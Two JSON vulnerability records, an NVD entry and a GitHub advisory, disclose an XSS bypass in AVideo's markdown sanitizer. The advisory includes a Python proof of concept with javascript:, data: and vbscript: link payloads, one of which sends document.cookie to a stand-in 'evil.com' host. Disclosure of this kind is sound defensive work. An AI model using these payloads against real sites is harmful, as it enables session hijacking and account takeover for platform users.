{
  "cveTags": [],
  "descriptions": [
    {
      "lang": "en",
      "value": "WWBN AVideo is an open source video platform. In versions 29.0 and below, an incomplete XSS fix in AVideo\u0027s `ParsedownSafeWithLinks` class overrides `inlineMarkup` for raw HTML but does not override `inlineLink()` or `inlineUrlTag()`, allowing `javascript:` URLs in markdown link syntax to bypass sanitization. Commit cae8f0dadbdd962c89b91d0095c76edb8aadcacf contains an updated fix."
    }
  ],
  "id": "CVE-2026-41063",
  "lastModified": "2026-04-22T21:23:52.620",
  "metrics": {
    "cvssMetricV31": [
      {
        "cvssData": {
          "attackComplexity": "LOW",
          "attackVector": "NETWORK",
          "availabilityImpact": "NONE",
          "baseScore": 5.4,
          "baseSeverity": "MEDIUM",
          "confidentialityImpact": "LOW",
          "integrityImpact": "LOW",
          "privilegesRequired": "LOW",
          "scope": "CHANGED",
          "userInteraction": "REQUIRED",
          "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N",
          "version": "3.1"
        },
        "exploitabilityScore": 2.3,
        "impactScore": 2.7,
        "source": "security-advisories@github.com",
        "type": "Secondary"
      }
    ]
  },
  "published": "2026-04-21T23:16:21.663",
  "references": [
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/WWBN/AVideo/commit/3ae02fa240939dbefc5949d64f05790fd25d728d"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/WWBN/AVideo/commit/cae8f0dadbdd962c89b91d0095c76edb8aadcacf"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/WWBN/AVideo/security/advisories/GHSA-72h5-39r7-r26j"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/WWBN/AVideo/security/advisories/GHSA-m7r8-6q9j-m2hc"
    },
    {
      "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
      "url": "https://github.com/WWBN/AVideo/security/advisories/GHSA-m7r8-6q9j-m2hc"
    }
  ],
  "sourceIdentifier": "security-advisories@github.com",
  "vulnStatus": "Awaiting Analysis",
  "weaknesses": [
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-79"
        }
      ],
      "source": "security-advisories@github.com",
      "type": "Secondary"
    }
  ]
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "wwbn/avideo"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "29.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-79"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-04-14T23:25:28Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "### Summary\n\nThe incomplete XSS fix in AVideo\u0027s `ParsedownSafeWithLinks` class overrides `inlineMarkup` for raw HTML but does not override `inlineLink()` or `inlineUrlTag()`, allowing `javascript:` URLs in markdown link syntax to bypass sanitization.\n\n### Affected Package\n\n- **Ecosystem:** Other\n- **Package:** AVideo\n- **Affected versions:** \u003c commit 3ae02fa24093\n- **Patched versions:** \u003e= commit 3ae02fa24093\n\n### Details\n\nIn `objects/functionsSecurity.php`, the `ParsedownSafeWithLinks` class:\n- Overrides `blockMarkup()` -- blocks non-`\u003ca\u003e`/`\u003cimg\u003e` HTML tags\n- Overrides `inlineMarkup()` -- sanitizes `\u003ca href=...\u003e` and `\u003cimg src=...\u003e` in raw HTML, including an href whitelist\n\nBut the base `Parsedown.php` class has two additional methods that generate `\u003ca\u003e` tags:\n- `inlineLink()` (line ~1388) -- processes `[text](url)` markdown syntax, sets `href` = URL directly\n- `inlineUrlTag()` (line ~1558) -- processes `\u003cURL\u003e` auto-link syntax, sets `href` = URL directly\n\nNeither is overridden by `ParsedownSafeWithLinks`, so `[Click me](javascript:alert(document.cookie))` produces `\u003ca href=\"javascript:alert(document.cookie)\"\u003eClick me\u003c/a\u003e` without any sanitization.\n\nThe fix sanitizes raw HTML `\u003ca\u003e` tags via `inlineMarkup` but misses the markdown-native link syntax (`[text](url)`) and auto-link syntax (`\u003curl\u003e`) which produce `\u003ca\u003e` tags through different code paths in the base Parsedown class.\n\n### PoC\n\n```python\n\"\"\"\nCVE-2026-33500 - Incomplete XSS fix in AVideo ParsedownSafeWithLinks\n\nTests REAL vulnerable code from:\n  objects/functionsSecurity.php (commit f154167, pre-fix 3ae02fa)\n  vendor/erusev/parsedown/Parsedown.php\n\nThe ParsedownSafeWithLinks class overrides:\n  - blockMarkup (blocks non-a/img HTML)\n  - inlineMarkup (sanitizes \u003ca\u003e and \u003cimg\u003e inline HTML)\n  - inlineLink is NOT overridden (markdown [text](url) syntax)\n\nBut the base Parsedown class has inlineLink() at line 1388 which creates\n\u003ca href=\"URL\"\u003e from markdown [text](url) without any href sanitization.\nSince ParsedownSafeWithLinks does NOT override inlineLink(), a malicious\njavascript: URL in markdown link syntax passes through unsanitized.\n\nAdditionally, inlineUrlTag() at line 1558 handles \u003cURL\u003e auto-link syntax\nand creates \u003ca href=\"URL\"\u003e without sanitization either.\n\"\"\"\n\nimport re\nimport sys\nimport os\n\nsrc_dir = os.path.join(os.path.dirname(os.path.abspath(__file__)), \u0027src\u0027)\n\nparsedown_src = open(os.path.join(src_dir, \u0027Parsedown.php\u0027)).read()\nsecurity_src = open(os.path.join(src_dir, \u0027functionsSecurity.php\u0027)).read()\n\nprint(\"=\" * 60)\nprint(\"CVE-2026-33500: AVideo ParsedownSafeWithLinks XSS Bypass PoC\")\nprint(\"=\" * 60)\nprint()\n\nhas_class = \u0027ParsedownSafeWithLinks\u0027 in security_src\nhas_block_markup = \u0027function blockMarkup\u0027 in security_src\nhas_inline_markup = \u0027function inlineMarkup\u0027 in security_src\nhas_inline_link_override = \u0027function inlineLink\u0027 in security_src\nhas_inline_url_tag_override = \u0027function inlineUrlTag\u0027 in security_src\n\nbase_has_inline_link = \u0027function inlineLink\u0027 in parsedown_src\nbase_has_inline_url_tag = \u0027function inlineUrlTag\u0027 in parsedown_src\n\nprint(\"[*] ParsedownSafeWithLinks class found: \" + str(has_class))\nprint(\"[*] Overrides blockMarkup: \" + str(has_block_markup))\nprint(\"[*] Overrides inlineMarkup: \" + str(has_inline_markup))\nprint(\"[*] Overrides inlineLink: \" + str(has_inline_link_override))\nprint(\"[*] Overrides inlineUrlTag: \" + str(has_inline_url_tag_override))\nprint()\nprint(\"[*] Base Parsedown has inlineLink: \" + str(base_has_inline_link))\nprint(\"[*] Base Parsedown has inlineUrlTag: \" + str(base_has_inline_url_tag))\nprint()\n\nif not has_inline_link_override and base_has_inline_link:\n    print(\"[+] BYPASS FOUND: inlineLink NOT overridden!\")\n    print(\"    Markdown syntax [text](javascript:...) bypasses sanitization\")\n    print()\n\nif not has_inline_url_tag_override and base_has_inline_url_tag:\n    print(\"[+] BYPASS FOUND: inlineUrlTag NOT overridden!\")\n    print(\"    Auto-link syntax \u003cjavascript:...\u003e bypasses sanitization\")\n    print()\n\ndef simulate_parsedown_inline_link(markdown_text):\n    match = re.match(r\u0027\\[([^\\]]*)\\]\\(([^)]+)\\)\u0027, markdown_text)\n    if match:\n        text = match.group(1)\n        href = match.group(2)\n        return f\u0027\u003ca href=\"{href}\"\u003e{text}\u003c/a\u003e\u0027\n    return None\n\npayloads = [\n    \"[Click me](javascript:alert(document.cookie))\",\n    \"[XSS](javascript:fetch(\u0027https://evil.com/steal?c=\u0027+document.cookie))\",\n    \"[Data URI](data:text/html,\u003cscript\u003ealert(1)\u003c/script\u003e)\",\n    \"[VBScript](vbscript:MsgBox(1))\",\n]\n\nvuln_count = 0\nprint(\"[*] Testing markdown link payloads through base inlineLink():\")\nprint()\nfor payload in payloads:\n    result = simulate_parsedown_inline_link(payload)\n    if result and (\u0027javascript:\u0027 in result or \u0027data:\u0027 in result or \u0027vbscript:\u0027 in result):\n        print(f\"    BYPASS: {payload}\")\n        print(f\"    Output: {result}\")\n        vuln_count += 1\n    else:\n        print(f\"    BLOCKED: {payload}\")\n    print()\n\nprint()\nif vuln_count \u003e 0 and not has_inline_link_override:\n    print(\"VULNERABILITY CONFIRMED\")\n    sys.exit(0)\nelse:\n    print(\"VULNERABILITY NOT CONFIRMED\")\n    sys.exit(1)\n\n```\n\n**Steps to reproduce:**\n1. `git clone https://github.com/WWBN/AVideo /tmp/AVideo_test`\n2. `cd /tmp/AVideo_test \u0026\u0026 git checkout 3ae02fa240939dbefc5949d64f05790fd25d728d~1`\n3. `python3 poc.py`\n\n**Expected output:**\n```\nVULNERABILITY CONFIRMED\njavascript: URLs in markdown [text](url) link syntax bypass sanitization since inlineLink() is not overridden.\n```\n\n### Impact\n\nAn attacker can inject `javascript:` URLs via markdown link syntax in any user-generated content field that uses `ParsedownSafeWithLinks` (comments, descriptions, etc.). When another user clicks the rendered link, the attacker\u0027s JavaScript executes in their browser session, enabling session hijacking, account takeover, and data theft.\n\n### Suggested Remediation\n\nOverride `inlineLink()` and `inlineUrlTag()` in `ParsedownSafeWithLinks` to apply the same `href` protocol whitelist (`https?://`, `mailto:`, `/`, `#`) that `inlineMarkup` already applies to raw HTML `\u003ca\u003e` tags. Reject any href that does not match the whitelist.",
  "id": "GHSA-m7r8-6q9j-m2hc",
  "modified": "2026-04-14T23:25:28Z",
  "published": "2026-04-14T23:25:28Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/WWBN/AVideo/security/advisories/GHSA-m7r8-6q9j-m2hc"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33500"
    },
    {
      "type": "WEB",
      "url": "https://github.com/WWBN/AVideo/commit/3ae02fa240939dbefc5949d64f05790fd25d728d"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/WWBN/AVideo"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:A/VC:L/VI:H/VA:N/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "WWBN AVideo has an incomplete fix for CVE-2026-33500: XSS"
}